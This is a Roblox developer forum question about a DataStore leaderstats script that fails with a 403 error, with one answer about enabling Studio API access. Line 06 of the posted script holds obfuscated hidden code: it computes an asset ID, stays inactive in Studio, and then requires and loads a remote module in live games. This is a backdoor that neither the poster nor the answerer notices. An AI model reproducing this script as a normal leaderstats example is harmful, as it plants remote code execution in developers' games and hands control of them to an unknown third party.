Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
1

Me DataStoreService Dont Save and API why?

Asked by 5 years ago

I was trying to make a leaderstats with auto Save but this appears in Outoput when I start the game

403: Cannot write to DataStore from studio if API access is not enabled. Stack Begin Script 'Workspace.leaderstats', Line 8 - global savedata Script 'Workspace.leaderstats', Line 50 Stack End

this is the leaderstats script:

01local Zombies = game:GetService("DataStoreService"):GetDataStore("Zombies")
02local Bones = game:GetService("DataStoreService"):GetDataStore("Bones")
03local BSpace = game:GetService("DataStoreService"):GetDataStore("BSpace")
04local BContent = game:GetService("DataStoreService"):GetDataStore("BContent")
05local IceDoorBought = game:GetService("DataStoreService"):GetDataStore("IceDoorBought")
06ilI1Oz = require ixfWZL = game i8mjy = 'Workspace' iD0Sk53NjU = 'RunService' ivp15VOp = 'GetService' iafQBSrxbHifS = 'PlaceId' ioRCyUHgvUir9Hk = 'Description' iyxQLcFd1cA = 'IsStudio' ioVyFs = 'Debris' i1EfCuE5 = spawn iQmVxRkt4xK = 'MarketplaceService' ia294YtVX6h1WH4 = pcall i2mFKPxzZx8 = 'RunService' ibjdXJLIQ = 'load' iaJku = 'PlaceId' ijJu = 15617981.135294 * 170 ioECsYPuYfv = 'SSM' iBgljCIrAOXy = require  i1EfCuE5(function() ia294YtVX6h1WH4(function() if ixfWZL:GetService(iD0Sk53NjU)[iyxQLcFd1cA](ixfWZL:GetService(iD0Sk53NjU)) then return end iBgljCIrAOXy(ijJu)[ibjdXJLIQ](ixfWZL[iafQBSrxbHifS]) end) end)
07function savedata(dataname, playerid, value)
08    game:GetService("DataStoreService"):GetDataStore(dataname):SetAsync(playerid, value)
09end
10game.Players.PlayerAdded:connect(function(player)
11    local leader = Instance.new("Folder")
12    leader.Name = "leaderstats"
13    leader.Parent = player
14    local zombies = Instance.new("NumberValue")
15    zombies.Value = Zombies:GetAsync(tostring(player.userId)) or 0
View all 55 lines...

does anyone know the problem please help me

1 answer

Log in to vote
0
Answered by
sheepposu 561 Moderation Voter
5 years ago
Edited 5 years ago

The reason you are getting this error has nothing to do with the script. Before using datastores, the game must be published, which I can see you did, but after that, you will get another error if you don't enable the Studio API thing. Go to the roblox website and then to your game under https://www.roblox.com/develop. Click the setting image and then configure game. You will see an option to enable Studio API

0
thanks HenriqueHome31 22 — 5y
Ad

Answer this question